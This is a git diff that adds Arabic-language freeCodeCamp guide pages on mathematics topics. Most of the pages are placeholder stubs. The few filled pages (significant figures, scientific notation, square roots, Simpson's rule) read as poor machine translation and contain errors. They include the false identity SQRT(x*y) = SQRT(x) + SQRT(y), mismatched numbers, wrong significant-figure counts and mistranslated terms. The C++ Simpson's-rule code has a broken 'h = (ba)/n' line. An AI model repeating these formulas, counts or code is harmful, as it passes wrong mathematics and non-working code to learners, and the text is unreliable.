diff --git a/client/src/guide/arabic/mathematics/relations/graphs-of-relations/index.md b/client/src/guide/arabic/mathematics/relations/graphs-of-relations/index.md
new file mode 100644
index 0000000000..4e7725a552
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/relations/graphs-of-relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphs of Relations
+localeTitle: رسومات العلاقات
+---
+## رسومات العلاقات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/graphs-of-relations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/relations/index.md b/client/src/guide/arabic/mathematics/relations/index.md
new file mode 100644
index 0000000000..7ea485f5d5
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Relations
+localeTitle: علاقات
+---
+## علاقات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/relations/inverse-relations/index.md b/client/src/guide/arabic/mathematics/relations/inverse-relations/index.md
new file mode 100644
index 0000000000..c7ebf2c5c1
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/relations/inverse-relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverse Relations
+localeTitle: العلاقات العكسية
+---
+## العلاقات العكسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/inverse-relations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/relations/powerset/index.md b/client/src/guide/arabic/mathematics/relations/powerset/index.md
new file mode 100644
index 0000000000..ab775bea03
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/relations/powerset/index.md
@@ -0,0 +1,11 @@
+---
+title: Powerset
+localeTitle: مجموعة الطاقة
+---
+## مجموعة الطاقة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/powerset/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/relations/reflexivity/index.md b/client/src/guide/arabic/mathematics/relations/reflexivity/index.md
new file mode 100644
index 0000000000..c5c62aee19
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/relations/reflexivity/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflexivity
+localeTitle: الانعكاسية
+---
+## الانعكاسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/reflexivity/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/relations/symmetry/index.md b/client/src/guide/arabic/mathematics/relations/symmetry/index.md
new file mode 100644
index 0000000000..2e3e8b07fa
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/relations/symmetry/index.md
@@ -0,0 +1,11 @@
+---
+title: Symmetry
+localeTitle: تناظر
+---
+## تناظر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/symmetry/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/relative-frequency/index.md b/client/src/guide/arabic/mathematics/relative-frequency/index.md
new file mode 100644
index 0000000000..75f5140389
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/relative-frequency/index.md
@@ -0,0 +1,11 @@
+---
+title: Relative Frequency
+localeTitle: التردد النسبي
+---
+## التردد النسبي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relative-frequency/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/rewriting-improper-fractions-as-mixed-numbers/index.md b/client/src/guide/arabic/mathematics/rewriting-improper-fractions-as-mixed-numbers/index.md
new file mode 100644
index 0000000000..14f499fa7e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/rewriting-improper-fractions-as-mixed-numbers/index.md
@@ -0,0 +1,11 @@
+---
+title: Rewriting Improper Fractions as Mixed Numbers
+localeTitle: إعادة كتابة الكسور غير مناسبة كأرقام مختلطة
+---
+## إعادة كتابة الكسور غير مناسبة كأرقام مختلطة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/rewriting-improper-fractions-as-mixed-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/rewriting-tricky-fractions-to-decimals/index.md b/client/src/guide/arabic/mathematics/rewriting-tricky-fractions-to-decimals/index.md
new file mode 100644
index 0000000000..15646db229
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/rewriting-tricky-fractions-to-decimals/index.md
@@ -0,0 +1,11 @@
+---
+title: Rewriting Tricky Fractions to Decimals
+localeTitle: إعادة كتابة الكسور صعبة إلى الكسور العشرية
+---
+## إعادة كتابة الكسور صعبة إلى الكسور العشرية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/rewriting-tricky-fractions-to-decimals/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/rhombus/index.md b/client/src/guide/arabic/mathematics/rhombus/index.md
new file mode 100644
index 0000000000..8c296dfdde
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/rhombus/index.md
@@ -0,0 +1,11 @@
+---
+title: Rhombus
+localeTitle: معين هندسي
+---
+## معين هندسي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/rhombus/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/roman-numerals/index.md b/client/src/guide/arabic/mathematics/roman-numerals/index.md
new file mode 100644
index 0000000000..61a165b6c2
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/roman-numerals/index.md
@@ -0,0 +1,11 @@
+---
+title: Roman Numerals
+localeTitle: الأرقام الرومانية
+---
+## الأرقام الرومانية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/roman-numerals/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/rounding-and-significant-digits/index.md b/client/src/guide/arabic/mathematics/rounding-and-significant-digits/index.md
new file mode 100644
index 0000000000..418d432c0a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/rounding-and-significant-digits/index.md
@@ -0,0 +1,11 @@
+---
+title: Rounding and Significant Digits
+localeTitle: التقريب وأرقام كبيرة
+---
+## التقريب وأرقام كبيرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/rounding-and-significant-digits/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/rules-of-significant-figures/index.md b/client/src/guide/arabic/mathematics/rules-of-significant-figures/index.md
new file mode 100644
index 0000000000..7e3985a6e9
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/rules-of-significant-figures/index.md
@@ -0,0 +1,30 @@
+---
+title: Rules of Significant Figures
+localeTitle: قواعد الشخصيات الهامة
+---
+## قواعد الشخصيات الهامة
+
+الأرقام الهامة لعدد هي كل الأرقام التي تحمل معنى إلى التمثيل النهائي للقياس. وهي تمثل مدى دقة القياس.
+
+القواعد للعثور على أي رقم من الأرقام هي أرقام مهمة:
+
+*   جميع الأرقام غير الصفرية مهمة
+*   جميع الأصفار بين الأرقام غير المصلية هي كبيرة: 202 ، 2002 ، 20002
+*   الأصفار الرائدة ليست مهمة
+*   في العدد العشري ، تمثل جميع الأصفار الزائدة الدقة ، وبالتالي فهي هامة
+*   في رقم غير عشري ، إذا كان هناك "." في النهاية ، جميع الأرقام إلى اليسار مهمة (باستثناء الأصفار البادئة)
+
+#### أمثلة:
+
+*   0.05400 لديه \[4\] sig figs: 5، 4، 0 and 0
+*   0.0054090 لديه \[5\] sig figs: 5، 4، 0، 9، and 0
+*   100 لديه \[1\] sig fig: 1
+*   100.0 \[3\] sig figs: 1، 0، 0
+*   معلومات اكثر:
+
+### معلومات اكثر
+
+*   [المادة ويكيبيديا](https://en.wikipedia.org/wiki/Significant_figures)
+*   [فيديو Khan Academy على sig figs](https://www.khanacademy.org/math/arithmetic-home/arith-review-decimals/arithmetic-significant-figures-tutorial/v/significant-figures)
+*   [دليل Purplemath ل sig التين](https://www.purplemath.com/modules/rounding2.htm)
+*   [أنيق قليلا آلة حاسبة التين سيج](https://www.omnicalculator.com/math/sig-fig)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/scalar-and-matrix-multiplication/index.md b/client/src/guide/arabic/mathematics/scalar-and-matrix-multiplication/index.md
new file mode 100644
index 0000000000..8bfae69ecf
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/scalar-and-matrix-multiplication/index.md
@@ -0,0 +1,11 @@
+---
+title: Scalar and Matrix Multiplication
+localeTitle: العددية ومصفوفة الضرب
+---
+## العددية ومصفوفة الضرب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/scalar-and-matrix-multiplication/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/scientific-notation-examples/index.md b/client/src/guide/arabic/mathematics/scientific-notation-examples/index.md
new file mode 100644
index 0000000000..653fe901a0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/scientific-notation-examples/index.md
@@ -0,0 +1,11 @@
+---
+title: Scientific Notation Examples
+localeTitle: أمثلة الترميز العلمي
+---
+## أمثلة الترميز العلمي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/scientific-notation-examples/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/scientific-notation/index.md b/client/src/guide/arabic/mathematics/scientific-notation/index.md
new file mode 100644
index 0000000000..2f7d593ab7
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/scientific-notation/index.md
@@ -0,0 +1,26 @@
+---
+title: Scientific Notation
+localeTitle: الترميز العلمي
+---
+## الترميز العلمي
+
+التدوين العلمي هو طريقة لكتابة أعداد كبيرة / صغيرة للغاية من أجل التعامل معها بسهولة أكبر في الحساب.
+
+يمكننا أن نفكر في عدد من الرموز العلمية يتكون من "مصطلح" و "مصطلح أسي"
+
+يحتوي مصطلح الرقم على الأرقام الهامة من الرقم. يجب أن يكون مصطلح الرقم عبارة عن رقم بين 1 و 10. يحتوي المصطلح الأسي على الأصفار النائب الحالي ويحدد مكان وضع العلامة العشرية. إذا كان المصطلح الأسى له أس سلبي ، فهذا يعني أن الرقم أصغر من واحد ، وأنه يجب نقل النقطة العشرية إلى عدد معين من المسافات إلى اليسار. بينما يعني الرقم الأسى الموجب أن الرقم كبير جدًا ويجب نقل النقطة العشرية إلى اليمين.
+
+#### مثال:
+
+545،000،000،000 مكتوبة بطريقة علمية: 5.45 x 10 ^ 11
+
+0.0000000000030435 = 3.0435 x 10 ^ -12
+
+10 = 1.0 x 10 ^ 1
+
+1 = 1.0 x 10 ^ 0
+
+#### معلومات اكثر:
+
+*   [مقالة عظيمة بما في ذلك الحساب في التدوين العلمي](https://www.chem.tamu.edu/class/fyp/mathrev/mr-scnot.html)
+*   [المادة ويكيبيديا](https://en.wikipedia.org/wiki/Scientific_notation)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/sectors-areas-and-arcs/index.md b/client/src/guide/arabic/mathematics/sectors-areas-and-arcs/index.md
new file mode 100644
index 0000000000..741abbb333
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/sectors-areas-and-arcs/index.md
@@ -0,0 +1,11 @@
+---
+title: Sectors Areas and Arcs
+localeTitle: مجالات القطاعات والأقواس
+---
+## مجالات القطاعات والأقواس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sectors-areas-and-arcs/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/set-builder-notation/index.md b/client/src/guide/arabic/mathematics/set-builder-notation/index.md
new file mode 100644
index 0000000000..471edf8c41
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/set-builder-notation/index.md
@@ -0,0 +1,11 @@
+---
+title: Set Builder Notation
+localeTitle: تعيين تدوين منشئ
+---
+## تعيين تدوين منشئ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/set-builder-notation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/sigma-notation/index.md b/client/src/guide/arabic/mathematics/sigma-notation/index.md
new file mode 100644
index 0000000000..03a57b609b
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/sigma-notation/index.md
@@ -0,0 +1,11 @@
+---
+title: Sigma Notation
+localeTitle: تدوين سيجما
+---
+## تدوين سيجما
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sigma-notation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/significant-figures/index.md b/client/src/guide/arabic/mathematics/significant-figures/index.md
new file mode 100644
index 0000000000..eb28717170
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/significant-figures/index.md
@@ -0,0 +1,11 @@
+---
+title: Significant Figures
+localeTitle: من الشخصيات الهامة
+---
+## من الشخصيات الهامة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/significant-figures/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/simplify-fractions/index.md b/client/src/guide/arabic/mathematics/simplify-fractions/index.md
new file mode 100644
index 0000000000..d2bf93afcd
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/simplify-fractions/index.md
@@ -0,0 +1,11 @@
+---
+title: Simplify Fractions
+localeTitle: تبسيط الكسور
+---
+## تبسيط الكسور
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/simplify-fractions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/simplifying-exponent-expressions/index.md b/client/src/guide/arabic/mathematics/simplifying-exponent-expressions/index.md
new file mode 100644
index 0000000000..f314682cdf
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/simplifying-exponent-expressions/index.md
@@ -0,0 +1,11 @@
+---
+title: Simplifying Exponent Expressions
+localeTitle: تبسيط تعبيرات الأس
+---
+## تبسيط تعبيرات الأس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/simplifying-exponent-expressions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/simplifying-expressions/index.md b/client/src/guide/arabic/mathematics/simplifying-expressions/index.md
new file mode 100644
index 0000000000..fb454e1c8a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/simplifying-expressions/index.md
@@ -0,0 +1,11 @@
+---
+title: Simplifying Expressions
+localeTitle: تبسيط التعبيرات
+---
+## تبسيط التعبيرات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/simplifying-expressions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/simplifying-radicals/index.md b/client/src/guide/arabic/mathematics/simplifying-radicals/index.md
new file mode 100644
index 0000000000..9f296bec6b
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/simplifying-radicals/index.md
@@ -0,0 +1,11 @@
+---
+title: Simplifying Radicals
+localeTitle: تبسيط الجذور
+---
+## تبسيط الجذور
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/simplifying-radicals/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/simplifying-square-roots/index.md b/client/src/guide/arabic/mathematics/simplifying-square-roots/index.md
new file mode 100644
index 0000000000..43052971ed
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/simplifying-square-roots/index.md
@@ -0,0 +1,27 @@
+---
+title: Simplifying Square Roots
+localeTitle: تبسيط الجذور المربعة
+---
+## تبسيط الجذور المربعة
+
+الشكل الجذري البسيط: لنفترض أن لديك SQRT الراديكالي (363) ، وتحتاج إلى تبسيطه في كلٍ من رقم أجمل ورقم يمكن استخدامه في حسابات محددة ، للقيام بذلك عن طريق محاولة إيجاد مربعات مثالية داخل الراديكالي.
+
+إذن ، إنها حقيقة أن SQRT (x \* y) = SQRT (x) + SQRT (y) وهذه الحقيقة تسمح لنا بفصل SQRT (243) إلى أجزاء
+
+ولكن أولاً ، نحتاج إلى إيجاد عامل 363 ، يسمح لنا بسحب مربع مثالي منه. تتضمن المربعات المثالية 1 ، 4 ، 9 ، 16 ، 25 ، 36 ، 49 ، 64 ، 81 ، 100 ، 121 ، 144 ... لأن كل واحد منهم لديه الجذر sqare الذي هو عدد صحيح
+
+الآن ، عوامل 363 هي: 1 و 3 و 11 و 33 و 121 و 363
+
+إذا نظرت ، يمكنك أن ترى أن 121 من بين تلك القائمة ، 121 _3 هو 363 ، ويمكننا تغيير الراديكالية لإظهار ما يلي: SQRT (363) = SQRT (121_ 3) = SQRT (121) _SQRT (3) ويمكننا أن نأخذ الجذر التربيعي لـ 121 ، ونجعله رقمًا صحيحًا: = 11_ سقلت (3) وهذا هو الراديكالي الخاص بك.
+
+تبسيط الجذور المربعة في المقام: دعنا نقول لديك التعبير:
+
+## 2
+
+SQRT (5) وترغب في تبسيط ذلك عن طريق إزالة الراديكالية من المقام ، يمكنك القيام بذلك عن طريق ضرب هذا الجزء من خلال:
+
+## SQRT (5)
+
+SQRT (5) الذي يساوي واحد ، وتحصل على: 2 SQRT (5) 2 x SQRT (5) ------- x ------- = ----------- لأن الجذر التربيعي مضروبًا في حد ذاته هو الرقم في المربع ، فإن المقام الآن SQRT (5) SQRT (5) 5 رقم صحيح ، وليس جذري. الراديكالية لا تزال موجودة في الأعلى ، ولكن هذا جيد في معظم الحالات.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/simpsons-rule/index.md b/client/src/guide/arabic/mathematics/simpsons-rule/index.md
new file mode 100644
index 0000000000..891b7e8b67
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/simpsons-rule/index.md
@@ -0,0 +1,116 @@
+---
+title: Simpson's Rule
+localeTitle: حكم سيمبسون
+---
+# حكم سيمبسون
+
+في التحليل العددي ، تعتبر قاعدة سيمبسون طريقة للتكامل _العددي (التقريب_ الرقمي للاندماجات _المحددة)_ .
+
+تقارب قاعدة سيمبسون تكامل النموذج ،
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim1.png)
+
+أين،
+
+*   `f(x)` يسمى _integrand_
+*   `a` = الحد الأدنى للتكامل
+*   `b` = الحد الأعلى للتكامل
+
+## حكم سيمبسون 1/3
+
+![Simpson's Rule](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim01.jpg)
+
+كما هو موضح في الرسم البياني أعلاه ، يقترب الرقم integre `f(x)` من متعدد الحدود من الدرجة الثانية ؛ يكون interpolant التربيعي `P(x)` .
+
+يتبع التقريب ،
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim3.png)
+
+استبدال `(ba)/2` as `h` ، we get،
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim4.png)
+
+كما ترى ، هناك عامل `1/3` في التعبير أعلاه. لهذا السبب ، يطلق عليه اسم **قاعدة سيمبسون 1/3** .
+
+إذا كانت الوظيفة متذبذبة للغاية أو تفتقر إلى المشتقات في نقاط معينة ، فقد تفشل القاعدة المذكورة أعلاه في الحصول على نتائج دقيقة. تتمثل إحدى الطرق الشائعة لمعالجة هذه المشكلة في تقسيم الفاصل الزمني `[a,b]` إلى عدد من subintervals الصغيرة. ثم يتم تطبيق قاعدة سيمبسون على كل فئة فرعية ، مع جمع النتائج لإنتاج تقريب للتكامل خلال الفترة الزمنية بأكملها. يطلق على هذا النوع من النهج _قاعدة سيمبسون المركبة_ .
+
+لنفترض أن الفاصل `[a,b]` مقسم إلى `n` subintervals ، مع `n` رقم زوجي. ثم ، يتم إعطاء القاعدة المركبة سيمبسون من قبل ،
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim7.png)
+
+حيث **x j = a + jh** لـ **j = 0،1،…، n-1، n** with **h = (ba) / n** ؛ على وجه الخصوص ، **x 0 = a** و **x n = b** .
+
+#### مثال:
+
+**تقريبًا قيمة التكامل المضمن أدناه ، مع أخذ n = 8.**
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim9.png)
+
+تنفيذ قاعدة 1/3 من Simpson في C ++ كما يلي:
+
+ `#include<iostream> 
+ #include<cmath> 
+ using namespace std; 
+ 
+ float f(float x) 
+ { 
+    return x*sin(x);    //Define the function f(x) 
+ } 
+ 
+ float simpson(float a, float b, int n) 
+ { 
+    float h, x[n+1], sum = 0; 
+    int j; 
+    h = (ba)/n; 
+ 
+    x[0] = a; 
+ 
+    for(j=1; j<=n; j++) 
+    { 
+        x[j] = a + h*j; 
+    } 
+ 
+    for(j=1; j<=n/2; j++) 
+    { 
+        sum += f(x[2*j - 2]) + 4*f(x[2*j - 1]) + f(x[2*j]); 
+    } 
+ 
+    return sum*h/3; 
+ } 
+ 
+ int main() 
+ { 
+    float a,b,n; 
+    a = 1;      //Enter lower limit a 
+    b = 4;      //Enter upper limit b 
+    n = 8;      //Enter step-length n 
+    if (n%2 == 0) 
+        cout<<simpson(a,b,n)<<endl; 
+    else 
+        cout<<"n should be an even number"; 
+    return 0; 
+ } 
+` 
+
+## سيمبسون 3/8 القاعدة
+
+تشبه قاعدة 3/8 لـ Simpson قاعدة 1/3 الخاصة بـ Simpson. والفرق الوحيد هو ، هنا ، أن interpolant هو متعدد الحدود التكعيبية. قاعدة 3/8 تقارب ضعف دقة القاعدة 1/3 ، ولكنها تستخدم قيمة دالة واحدة أكثر.
+
+تنص قواعد 3/8 لـ Simpson على ما يلي:
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim6.png)
+
+استبدال `(ba)/3` as `h` ، we get،
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim5.png)
+
+قاعدة 3/8 لـ Simpson للفترات n (يجب أن تكون n مضاعفات 3):
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim8.png)
+
+حيث **x j = a + jh** لـ **j = 0،1،…، n-1، n** with **h = (ba) / n** ؛ على وجه الخصوص ، **x 0 = a** و **x n = b** .
+
+### معلومات اكثر:
+
+1.  [حكم سيمبسون](https://en.wikipedia.org/wiki/Simpson%27s_rule)
+2.  [حكم سيمبسون 1/3](w3.gazi.edu.tr/~balbasi/mws_gen_int_txt_simpson13.pdf)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/sine-cosine-tangent/index.md b/client/src/guide/arabic/mathematics/sine-cosine-tangent/index.md
new file mode 100644
index 0000000000..7b3045d565
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/sine-cosine-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: Sine Cosine Tangent
+localeTitle: جيب التمام
+---
+## جيب التمام
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sine-cosine-tangent/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/slant-oblique-asymptotes/index.md b/client/src/guide/arabic/mathematics/slant-oblique-asymptotes/index.md
new file mode 100644
index 0000000000..478deda126
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/slant-oblique-asymptotes/index.md
@@ -0,0 +1,11 @@
+---
+title: Slant Oblique Asymptotes
+localeTitle: المائلة المائلة الخطوط المقاربة
+---
+## المائلة المائلة الخطوط المقاربة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/slant-oblique-asymptotes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/slope-formula/index.md b/client/src/guide/arabic/mathematics/slope-formula/index.md
new file mode 100644
index 0000000000..e20d2d55fe
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/slope-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Slope Formula
+localeTitle: صيغة المنحدر
+---
+## صيغة المنحدر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/slope-formula/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/sohcahtoa-sine-cosine-tangent/index.md b/client/src/guide/arabic/mathematics/sohcahtoa-sine-cosine-tangent/index.md
new file mode 100644
index 0000000000..f89599acc8
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/sohcahtoa-sine-cosine-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: Sohcahtoa Sine Cosine Tangent
+localeTitle: Sohcahtoa Sine Cosine Tangent
+---
+## Sohcahtoa Sine Cosine Tangent
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sohcahtoa-sine-cosine-tangent/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
